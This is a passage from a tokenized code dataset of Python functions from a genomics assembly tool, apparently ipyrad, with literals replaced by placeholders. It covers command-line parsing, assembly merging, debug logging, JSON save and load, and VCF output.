parse_params(args)<EOL>assemblies.append(getassembly(args, parsedict))<EOL><DEDENT>merged_assembly = ip.merge(newname, assemblies)<EOL>merged_assembly.write_params(\"<STR_LIT>\".format(newname), force=args.force)<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\".format(newname))<EOL>", "docstring": "merge all given assemblies into a new assembly. Copies the params\nfrom the first passed in extant assembly. this function is called \nwith the ipyrad -m flag. You must pass it at least 3 values, the first\nis a new assembly name (a new `param-newname.txt` will be created).\nThe second and third args must be params files for currently existing\nassemblies. Any args beyond the third must also be params file for\nextant assemblies.", "id": "f5327:m3"}
{"signature": "def getassembly(args, parsedict):", "body": "<EOL>project_dir = ip.core.assembly._expander(parsedict['<STR_LIT>'])<EOL>assembly_name = parsedict['<STR_LIT>']<EOL>assembly_file = os.path.join(project_dir, assembly_name)<EOL>if not os.path.exists(project_dir):<EOL><INDENT>os.mkdir(project_dir)<EOL><DEDENT>try:<EOL><INDENT>if ('<STR_LIT:1>' in args.steps) and args.force:<EOL><INDENT>data = ip.Assembly(assembly_name, cli=True)<EOL><DEDENT>else:<EOL><INDENT>data = ip.load_json(assembly_file, cli=True)<EOL>data._cli = True<EOL><DEDENT><DEDENT>except IPyradWarningExit as _:<EOL><INDENT>if '<STR_LIT:1>' not in args.steps:<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\".format(assembly_file))<EOL><DEDENT>else:<EOL><INDENT>data = ip.Assembly(assembly_name, cli=True)<EOL><DEDENT><DEDENT>for param in parsedict:<EOL><INDENT>if param == \"<STR_LIT>\":<EOL><INDENT>if parsedict[param] != data.name:<EOL><INDENT>data.set_params(param, parsedict[param])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>data.set_params(param, parsedict[param])<EOL><DEDENT>except IndexError as _:<EOL><INDENT>print(\"<STR_LIT>\".format(args.params))<EOL>print(\"<STR_LIT>\".format(param, parsedict[param]))<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>return data<EOL>", "docstring": "loads assembly or creates a new one and set its params from \nparsedict. Does not launch ipcluster.", "id": "f5327:m4"}
{"signature": "def _check_version():", "body": "import urllib2<EOL>from distutils.version import LooseVersion<EOL>header =\"<STR_LIT>\"+\"<STR_LIT>\".format(ip.__version__)+\"<STR_LIT>\"+\"<STR_LIT>\"<EOL>try:<EOL><INDENT>htmldat = urllib2.urlopen(\"<STR_LIT>\").readlines()<EOL>curversion = next((x for x in htmldat if \"<STR_LIT>\" in x), None).split(\"<STR_LIT:>>\")[<NUM_LIT:1>].split(\"<STR_LIT:<>\")[<NUM_LIT:0>]<EOL>if LooseVersion(ip.__version__) < LooseVersion(curversion):<EOL><INDENT>msg = \"\"\"<STR_LIT>\"\"\".format(curversion)<EOL>print(header + \"<STR_LIT:\\n>\" + msg)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>except Exception as inst:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Test if there's a newer version and nag the user to upgrade.", "id": "f5327:m5"}
{"signature": "def parse_command_line():", "body": "<EOL>parser = argparse.ArgumentParser(<EOL>formatter_class=argparse.RawDescriptionHelpFormatter,<EOL>epilog=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', action='<STR_LIT:version>', <EOL>version=str(pkg_resources.get_distribution('<STR_LIT>')))<EOL>parser.add_argument('<STR_LIT>', \"<STR_LIT>\", action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', \"<STR_LIT>\", action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', \"<STR_LIT>\", action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', \"<STR_LIT>\", action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar='<STR_LIT>', dest=\"<STR_LIT>\", type=str, <EOL>default=None, <EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar='<STR_LIT>', dest=\"<STR_LIT>\",<EOL>type=str, default=None,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar='<STR_LIT>', dest=\"<STR_LIT>\",<EOL>type=str, default=None, nargs=\"<STR_LIT:*>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar='<STR_LIT>', dest=\"<STR_LIT>\",<EOL>default=None, nargs=\"<STR_LIT:*>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=str, default=None,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT:-c>\", metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=int, default=<NUM_LIT:0>,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=int, default=<NUM_LIT:2>,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=str, nargs=\"<STR_LIT:?>\", const=\"<STR_LIT:default>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", metavar=\"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>type=str, nargs=\"<STR_LIT:*>\", default=None, <EOL>help=\"<STR_LIT>\")<EOL>if len(sys.argv) == <NUM_LIT:1>:<EOL><INDENT>parser.print_help()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>args = parser.parse_args()<EOL>if not any(x in [\"<STR_LIT>\", \"<STR_LIT>\"] for x in vars(args).keys()):<EOL><INDENT>print(\"<STR_LIT>\"+\"<STR_LIT>\")<EOL>parser.print_help()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>return args<EOL>", "docstring": "Parse CLI args.", "id": "f5327:m6"}
{"signature": "def main():", "body": "<EOL>ip.__interactive__ = <NUM_LIT:0><EOL>_check_version()<EOL>args = parse_command_line()<EOL>if os.path.exists(ip.__debugflag__):<EOL><INDENT>os.remove(ip.__debugflag__)<EOL><DEDENT>if args.debug:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>ip._debug_on()<EOL>atexit.register(ip._debug_off)        <EOL><DEDENT>if args.new:<EOL><INDENT>try:<EOL><INDENT>tmpassembly = ip.Assembly(args.new, quiet=True, cli=True)<EOL>tmpassembly.write_params(\"<STR_LIT>\".format(args.new), <EOL>force=args.force)<EOL><DEDENT>except Exception as inst:<EOL><INDENT>print(inst)<EOL>sys.exit(<NUM_LIT:2>)<EOL><DEDENT>print(\"<STR_LIT>\".format(args.new, os.path.realpath(os.path.curdir)))<EOL>sys.exit(<NUM_LIT:2>)<EOL><DEDENT>if args.params:<EOL><INDENT>if not any([args.branch, args.results, args.steps]):<EOL><INDENT>print(\"\"\"<STR_LIT>\"\"\")<EOL>sys.exit(<NUM_LIT:2>)<EOL><DEDENT><DEDENT>if not args.params:<EOL><INDENT>if any([args.branch, args.results, args.steps]):<EOL><INDENT>print(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT><DEDENT>if any([args.branch, args.merge]):        <EOL><INDENT>args.steps = \"<STR_LIT>\"    <EOL>print(\"<STR_LIT>\")    <EOL><DEDENT>header =\"<STR_LIT>\"+\"<STR_LIT>\".format(ip.__version__)+\"<STR_LIT>\"+\"<STR_LIT>\"<EOL>with open(ip.__debugfile__, '<STR_LIT:a>') as logfile:<EOL><INDENT>logfile.write(header)<EOL>logfile.write(\"<STR_LIT>\".format(time.strftime(\"<STR_LIT>\")))<EOL>logfile.write(\"<STR_LIT>\".format(vars(args)))<EOL>logfile.write(\"<STR_LIT>\".format(os.uname()))<EOL><DEDENT>if args.merge:<EOL><INDENT>print(header)<EOL>merge_assemblies(args)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if args.download:<EOL><INDENT>if len(args.download) == <NUM_LIT:1>:<EOL><INDENT>downloaddir = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>downloaddir = args.download[<NUM_LIT:1>]<EOL><DEDENT>sratools_download(args.download[<NUM_LIT:0>], workdir=downloaddir, force=args.force)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>elif args.params:<EOL><INDENT>parsedict = parse_params(args)<EOL>if args.branch:<EOL><INDENT>branch_assembly(args, parsedict)<EOL><DEDENT>elif args.steps:<EOL><INDENT>print(header)<EOL>if os.path.exists(ip.__debugfile__):<EOL><INDENT>if os.path.getsize(ip.__debugfile__) > <NUM_LIT>:<EOL><INDENT>with open(ip.__debugfile__, '<STR_LIT:w>') as clear:<EOL><INDENT>clear.write(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>data = getassembly(args, parsedict)<EOL>data._ipcluster[\"<STR_LIT>\"] = args.threads<EOL>if args.ipcluster:<EOL><INDENT>ipyclient = ipp.Client(profile=args.ipcluster)<EOL>data._ipcluster[\"<STR_LIT>\"] = len(ipyclient)<EOL><DEDENT>else:<EOL><INDENT>ipyclient = None<EOL>data._ipcluster[\"<STR_LIT>\"] = args.cores if args.cores else detect_cpus()<EOL>data._ipcluster[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>if args.MPI:<EOL><INDENT>data._ipcluster[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>if not args.cores:<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>data = register_ipcluster(data)<EOL><DEDENT>data._headers = <NUM_LIT:1><EOL>steps = list(args.steps)<EOL>data.run(<EOL>steps=steps, <EOL>force=args.force, <EOL>show_cluster=<NUM_LIT:1>, <EOL>ipyclient=ipyclient)<EOL><DEDENT>if args.results:<EOL><INDENT>showstats(parsedict)<EOL><DEDENT><DEDENT>", "docstring": "main function", "id": "f5327:m8"}
{"signature": "def cluster_info(ipyclient, spacer=\"<STR_LIT>\"):", "body": "<EOL>hosts = []<EOL>for eid in ipyclient.ids:<EOL><INDENT>engine = ipyclient[eid]<EOL>if not engine.outstanding:<EOL><INDENT>hosts.append(engine.apply(_socket.gethostname))<EOL><DEDENT><DEDENT>hosts = [i.get() for i in hosts]<EOL>result = []<EOL>for hostname in set(hosts):<EOL><INDENT>result.append(\"<STR_LIT>\".format(spacer, hosts.count(hostname), hostname))<EOL><DEDENT>print(\"<STR_LIT:\\n>\".join(result))<EOL>", "docstring": "reports host and engine info for an ipyclient", "id": "f5328:m0"}
{"signature": "def _debug_on():", "body": "<EOL>with open(__debugflag__, '<STR_LIT:w>') as dfile:<EOL><INDENT>dfile.write(\"<STR_LIT>\")<EOL><DEDENT>__loglevel__ = \"<STR_LIT>\"<EOL>_LOGGER.info(\"<STR_LIT>\")<EOL>_set_debug_dict(__loglevel__)<EOL>", "docstring": "Turns on debugging by creating hidden tmp file\nThis is only run by the __main__ engine.", "id": "f5328:m1"}
{"signature": "def _set_debug_dict(__loglevel__):", "body": "_lconfig.dictConfig({<EOL>'<STR_LIT:version>': <NUM_LIT:1>,<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': \"<STR_LIT>\"+\"<STR_LIT>\"+\"<STR_LIT>\"+\"<STR_LIT>\"+\"<STR_LIT>\"<EOL>},<EOL>},<EOL>'<STR_LIT>': {<EOL>__name__: {<EOL>'<STR_LIT>':__loglevel__,<EOL>'<STR_LIT:class>':'<STR_LIT>',<EOL>'<STR_LIT:filename>':__debugfile__,<EOL>'<STR_LIT>':\"<STR_LIT>\",<EOL>'<STR_LIT>':'<STR_LIT>'<EOL>}<EOL>},<EOL>'<STR_LIT>':{<EOL>__name__: {<EOL>'<STR_LIT>': [__name__],<EOL>'<STR_LIT>': __loglevel__,<EOL>'<STR_LIT>': True<EOL>}<EOL>}<EOL>})<EOL>", "docstring": "set the debug dict", "id": "f5328:m2"}
{"signature": "def _debug_off():", "body": "if _os.path.exists(__debugflag__):<EOL><INDENT>_os.remove(__debugflag__)<EOL><DEDENT>__loglevel__ = \"<STR_LIT>\"<EOL>_LOGGER.info(\"<STR_LIT>\")<EOL>_set_debug_dict(__loglevel__)<EOL>", "docstring": "turns off debugging by removing hidden tmp file", "id": "f5328:m3"}
{"signature": "def _cmd_exists(cmd):", "body": "return _subprocess.call(\"<STR_LIT>\" + cmd,<EOL>shell=True,<EOL>stdout=_subprocess.PIPE,<EOL>stderr=_subprocess.PIPE) == <NUM_LIT:0><EOL>", "docstring": "check if dependency program is there", "id": "f5328:m4"}
{"signature": "def _getbins():", "body": "<EOL>if not _sys.maxsize > <NUM_LIT:2>**<NUM_LIT:32>:<EOL><INDENT>_sys.exit(\"<STR_LIT>\")<EOL><DEDENT>_platform = _sys.platform<EOL>if '<STR_LIT>' in _os.environ:<EOL><INDENT>ipyrad_path = _os.environ['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>path = _os.path.abspath(_os.path.dirname(__file__))<EOL>ipyrad_path = _os.path.dirname(path)<EOL><DEDENT>ipyrad_path = _os.path.dirname(path)<EOL>bin_path = _os.path.join(ipyrad_path, \"<STR_LIT>\")<EOL>if '<STR_LIT>' in _platform:<EOL><INDENT>vsearch = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>muscle = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>smalt = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>bwa = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>samtools = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>bedtools = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>qmc = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>vsearch = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>muscle = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>smalt = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>bwa = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>samtools = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>bedtools = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL>qmc = _os.path.join(<EOL>_os.path.abspath(bin_path),<EOL>\"<STR_LIT>\")<EOL><DEDENT>assert _cmd_exists(muscle), \"<STR_LIT>\"+muscle<EOL>assert _cmd_exists(vsearch), \"<STR_LIT>\"+vsearch<EOL>assert _cmd_exists(smalt), \"<STR_LIT>\"+smalt<EOL>assert _cmd_exists(bwa), \"<STR_LIT>\"+bwa<EOL>assert _cmd_exists(samtools), \"<STR_LIT>\"+samtools<EOL>assert _cmd_exists(bedtools), \"<STR_LIT>\"+bedtools<EOL>return vsearch, muscle, smalt, bwa, samtools, bedtools, qmc<EOL>", "docstring": "gets the right version of vsearch, muscle, and smalt\n    depending on linux vs osx", "id": "f5328:m5"}
{"signature": "def update_assembly(data):", "body": "print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>new_assembly = ip.Assembly(\"<STR_LIT>\", quiet=True)<EOL>data._hackersonly = deepcopy(new_assembly._hackersonly)<EOL>new_params = set(new_assembly.paramsdict.keys())<EOL>my_params = set(data.paramsdict.keys())<EOL>removed_params = my_params.difference(new_params)<EOL>for i in removed_params:<EOL><INDENT>print(\"<STR_LIT>\".format(i, data.paramsdict[i]))<EOL><DEDENT>added_params = new_params.difference(my_params)<EOL>for i in added_params:<EOL><INDENT>print(\"<STR_LIT>\".format(i, new_assembly.paramsdict[i]))<EOL><DEDENT>print(\"<STR_LIT>\"+\"<STR_LIT>\"+\"<STR_LIT>\")<EOL>time.sleep(<NUM_LIT:5>)<EOL>print(\"<STR_LIT>\")<EOL>if added_params:<EOL><INDENT>for i in data.paramsdict:<EOL><INDENT>if i not in removed_params:<EOL><INDENT>new_assembly.paramsdict[i] = data.paramsdict[i]<EOL><DEDENT><DEDENT>data.paramsdict = deepcopy(new_assembly.paramsdict)<EOL><DEDENT>data.save()<EOL>return data<EOL>", "docstring": "Create a new Assembly() and convert as many of our old params to the new\nversion as we can. Also report out any parameters that are removed\nand what their values are.", "id": "f5330:m1"}
{"signature": "def save_json2(data):", "body": "<EOL>datadict = OrderedDict([<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),<EOL>(\"<STR_LIT>\", dict(data.__dict__[\"<STR_LIT>\"])),<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"])<EOL>])<EOL>", "docstring": "save to json.", "id": "f5330:m2"}
{"signature": "def save_json(data):", "body": "<EOL>datadict = OrderedDict([<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),<EOL>(\"<STR_LIT:name>\", data.__dict__[\"<STR_LIT:name>\"]), <EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"].keys()),<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),        <EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),<EOL>(\"<STR_LIT>\", data.__dict__[\"<STR_LIT>\"]),<EOL>])<EOL>sampledict = OrderedDict([])<EOL>for key, sample in data.samples.iteritems():<EOL><INDENT>sampledict[key] = sample._to_fulldict()<EOL><DEDENT>fulldumps = json.dumps({<EOL>\"<STR_LIT>\": datadict,<EOL>\"<STR_LIT>\": sampledict<EOL>},<EOL>cls=Encoder,<EOL>sort_keys=False, indent=<NUM_LIT:4>, separators=(\"<STR_LIT:U+002C>\", \"<STR_LIT::>\"),<EOL>)<EOL>assemblypath = os.path.join(data.dirs.project, data.name+\"<STR_LIT>\")<EOL>if not os.path.exists(data.dirs.project):<EOL><INDENT>os.mkdir(data.dirs.project)<EOL><DEDENT>done = <NUM_LIT:0><EOL>while not done:<EOL><INDENT>try:<EOL><INDENT>with open(assemblypath, '<STR_LIT:w>') as jout:<EOL><INDENT>jout.write(fulldumps)<EOL><DEDENT>done = <NUM_LIT:1><EOL><DEDENT>except (KeyboardInterrupt, SystemExit): <EOL><INDENT>print('<STR_LIT:.>')<EOL>continue<EOL><DEDENT><DEDENT>", "docstring": "Save assembly and samples as json", "id": "f5330:m3"}
{"signature": "def load_json(path, quiet=False, cli=False):", "body": "<EOL>checkfor = [path+\"<STR_LIT>\", path]<EOL>for inpath in checkfor:<EOL><INDENT>inpath = inpath.replace(\"<STR_LIT>\", os.path.expanduser(\"<STR_LIT>\"))<EOL>try:<EOL><INDENT>with open(inpath, '<STR_LIT:r>') as infile:<EOL><INDENT>fullj = json.loads(infile.read(), object_hook=_tup_and_byte)<EOL><DEDENT><DEDENT>except IOError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>oldname = fullj[\"<STR_LIT>\"].pop(\"<STR_LIT:name>\")<EOL>olddir = fullj[\"<STR_LIT>\"][\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>oldpath = os.path.join(olddir, os.path.splitext(oldname)[<NUM_LIT:0>]+\"<STR_LIT>\")<EOL>null = ip.Assembly(oldname, quiet=True, cli=cli)<EOL><DEDENT>except (UnboundLocalError, AttributeError) as inst:<EOL><INDENT>raise IPyradWarningExit(\"\"\"<STR_LIT>\"\"\".format(inpath))<EOL><DEDENT>if not quiet:<EOL><INDENT>oldpath = oldpath.replace(os.path.expanduser(\"<STR_LIT>\"), \"<STR_LIT>\")<EOL>print(\"<STR_LIT>\".format(null._spacer, oldname))<EOL>print(\"<STR_LIT>\".format(null._spacer, oldpath))<EOL><DEDENT>samplekeys = fullj[\"<STR_LIT>\"].pop(\"<STR_LIT>\")<EOL>null.samples = {name: \"<STR_LIT>\" for name in samplekeys}<EOL>oldparams = fullj[\"<STR_LIT>\"].pop(\"<STR_LIT>\")<EOL>for param, val in oldparams.iteritems():<EOL><INDENT>if param not in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>try:<EOL><INDENT>null.set_params(param, val)<EOL><DEDENT>except IPyradWarningExit as inst:<EOL><INDENT>LOGGER.warning(\"\"\"<STR_LIT>\"\"\".format(inst))<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>oldhackersonly = fullj[\"<STR_LIT>\"].pop(\"<STR_LIT>\")<EOL>for param, val in oldhackersonly.iteritems():<EOL><INDENT>if val == None:<EOL><INDENT>null._hackersonly[param] = None<EOL><DEDENT>else:<EOL><INDENT>null._hackersonly[param] = val<EOL><DEDENT><DEDENT><DEDENT>except Exception as inst:<EOL><INDENT>LOGGER.warning(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT>newkeys = null.__dict__.keys()<EOL>oldkeys = fullj[\"<STR_LIT>\"].keys()<EOL>sharedkeys = set(oldkeys).intersection(set(newkeys))<EOL>lostkeys = set(oldkeys).difference(set(newkeys))<EOL>if lostkeys:<EOL><INDENT>LOGGER.warning(\"\"\"<STR_LIT>\"\"\".format(a=len(lostkeys), <EOL>b=oldname,<EOL>c=fullj[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>d=lostkeys,<EOL>e=null._version))<EOL><DEDENT>for key in sharedkeys:<EOL><INDENT>null.__setattr__(key, fullj[\"<STR_LIT>\"][key])<EOL><DEDENT>try:<EOL><INDENT>if fullj[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>null.__setattr__(\"<STR_LIT>\", fullj[\"<STR_LIT>\"][\"<STR_LIT>\"])<EOL>null.svd = ObjDict(null.svd)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>LOGGER.debug(\"<STR_LIT>\")<EOL><DEDENT>sample_names = fullj[\"<STR_LIT>\"].keys()<EOL>if not sample_names:<EOL><INDENT>raise IPyradWarningExit(\"\"\"<STR_LIT>\"\"\".format(inpath))<EOL><DEDENT>sample_keys = fullj[\"<STR_LIT>\"][sample_names[<NUM_LIT:0>]].keys()<EOL>stats_keys = fullj[\"<STR_LIT>\"][sample_names[<NUM_LIT:0>]][\"<STR_LIT>\"].keys()<EOL>stats_dfs_keys = fullj[\"<STR_LIT>\"][sample_names[<NUM_LIT:0>]][\"<STR_LIT>\"].keys()<EOL>ind_statkeys =[fullj[\"<STR_LIT>\"][sample_names[<NUM_LIT:0>]][\"<STR_LIT>\"][i].keys()for i in stats_dfs_keys]<EOL>ind_statkeys = list(itertools.chain(*ind_statkeys))<EOL>nsamp = ip.Sample()<EOL>newkeys = nsamp.__dict__.keys()<EOL>newstats = nsamp.__dict__[\"<STR_LIT>\"].keys()<EOL>newstatdfs = nsamp.__dict__[\"<STR_LIT>\"].keys()<EOL>newindstats = [nsamp.__dict__[\"<STR_LIT>\"][i].keys() for i in newstatdfs]<EOL>newindstats = list(itertools.chain(*[i.values for i in newindstats]))<EOL>diffattr = set(sample_keys).difference(newkeys)<EOL>diffstats = set(stats_keys).difference(newstats)<EOL>diffindstats = set(ind_statkeys).difference(newindstats)<EOL>alldiffs = diffattr.union(diffstats).union(diffindstats)<EOL>if any(alldiffs):<EOL><INDENT>LOGGER.warning(\"\"\"<STR_LIT>\"\"\".format(a=len(alldiffs), <EOL>b=oldname,<EOL>c=fullj[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>d=alldiffs,<EOL>e=null._version))<EOL><DEDENT>for sample in null.samples:<EOL><INDENT>null.samples[sample] = ip.Sample()<EOL>sdat = fullj[\"<STR_LIT>\"][sample]['<STR_LIT>']<EOL>newstats = [x for x in newstats if x in stats_keys]<EOL>null.samples[sample].stats = pd.Series(sdat).reindex(newstats)<EOL>for statskey in stats_dfs_keys:<EOL><INDENT>null.samples[sample].stats_dfs[statskey] =pd.Series(fullj[\"<STR_LIT>\"][sample][\"<STR_LIT>\"][statskey]).reindex(nsamp.__dict__[\"<STR_LIT>\"][statskey].keys())<EOL><DEDENT>for filehandle in fullj[\"<STR_LIT>\"][sample][\"<STR_LIT>\"].keys():<EOL><INDENT>null.samples[sample].files[filehandle] =fullj[\"<STR_LIT>\"][sample][\"<STR_LIT>\"][filehandle]<EOL><DEDENT><DEDENT>for statskey in stats_dfs_keys:<EOL><INDENT>indstat = null._build_stat(statskey)<EOL>if not indstat.empty:<EOL><INDENT>null.stats_dfs[statskey] = indstat<EOL><DEDENT><DEDENT>shared_keys = set(sample_keys).intersection(newkeys)<EOL>shared_keys.discard(\"<STR_LIT>\")<EOL>shared_keys.discard(\"<STR_LIT>\")    <EOL>shared_keys.discard(\"<STR_LIT>\")<EOL>shared_keys.discard(\"<STR_LIT>\")<EOL>for sample in null.samples:<EOL><INDENT>for key in shared_keys:<EOL><INDENT>null.samples[sample].__setattr__(key, fullj[\"<STR_LIT>\"][sample][key])<EOL><DEDENT><DEDENT>null.dirs = ObjDict(null.dirs)<EOL>null.stats_files = ObjDict(null.stats_files)<EOL>null.stats_dfs = ObjDict(null.stats_dfs)    <EOL>null.populations = ObjDict(null.populations)<EOL>null.outfiles = ObjDict(null.outfiles)<EOL>return null<EOL>", "docstring": "Load a json serialized object and ensure it matches to the current \nAssembly object format", "id": "f5330:m4"}
{"signature": "def _tup_and_byte(obj):", "body": "<EOL>if isinstance(obj, unicode):<EOL><INDENT>return obj.encode('<STR_LIT:utf-8>')<EOL><DEDENT>if isinstance(obj, list):<EOL><INDENT>return [_tup_and_byte(item) for item in obj]<EOL><DEDENT>if isinstance(obj, dict):<EOL><INDENT>if \"<STR_LIT>\" in obj:<EOL><INDENT>return tuple(_tup_and_byte(item) for item in obj[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>return {<EOL>_tup_and_byte(key): _tup_and_byte(val) forkey, val in obj.iteritems()<EOL>}<EOL><DEDENT><DEDENT>return obj<EOL>", "docstring": "wat", "id": "f5330:m5"}
{"signature": "def encode(self, obj):", "body": "def hint_tuples(item):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if isinstance(item, tuple):<EOL><INDENT>return {'<STR_LIT>': True, '<STR_LIT>': item}<EOL><DEDENT>if isinstance(item, list):<EOL><INDENT>return [hint_tuples(e) for e in item]<EOL><DEDENT>if isinstance(item, dict):<EOL><INDENT>return {<EOL>key: hint_tuples(val) for key, val in item.iteritems()<EOL>}<EOL><DEDENT>else:<EOL><INDENT>return item<EOL><DEDENT><DEDENT>return super(Encoder, self).encode(hint_tuples(obj))<EOL>", "docstring": "function to encode json string", "id": "f5330:c0:m0"}
{"signature": "def make(data, samples):", "body": "outfile = open(os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\"), '<STR_LIT:w>')<EOL>inloci = os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\")<EOL>names = [i.name for i in samples]<EOL>names.sort()<EOL>version = \"<STR_LIT>\"<EOL>mindepth = data.paramsdict[\"<STR_LIT>\"] <EOL>print(\"<STR_LIT>\", file=outfile)<EOL>print(\"<STR_LIT>\"+time.strftime(\"<STR_LIT>\"), file=outfile)<EOL>print(\"<STR_LIT>\"+version, file=outfile)<EOL>print(\"<STR_LIT>\", file=outfile)<EOL>print(\"<STR_LIT>\", file=outfile)<EOL>print(\"<STR_LIT>\", file=outfile)<EOL>print(\"<STR_LIT>\", file=outfile)<EOL>print(\"<STR_LIT>\", file=outfile)<EOL>print(\"<STR_LIT>\", file=outfile)<EOL>print(\"<STR_LIT>\", file=outfile)<EOL>print(\"<STR_LIT>\", file=outfile)<EOL>print(\"<STR_LIT:\\t>\".join([\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"]+list(names)), file=outfile)<EOL>loci = open(inloci).read().split(\"<STR_LIT:|>\")[:-<NUM_LIT:1>]<EOL>snps = <NUM_LIT:0><EOL>vcflist = []<EOL>for locusnumber in range(len(loci)):<EOL><INDENT>samps = [i.split()[<NUM_LIT:0>][<NUM_LIT:1>:] for i in loci[locusnumber].strip().split(\"<STR_LIT:\\n>\") if \"<STR_LIT:>>\" in i]<EOL>loc = np.array([tuple(i.split()[-<NUM_LIT:1>]) for i in loci[locusnumber].strip().split(\"<STR_LIT:\\n>\") if \"<STR_LIT:>>\" in i])<EOL>NS = str(len(loc))<EOL>DP = str(mindepth)<EOL>for base in range(len(loc.T)):<EOL><INDENT>col = []<EOL>site = list(loc.T[base])<EOL>site = 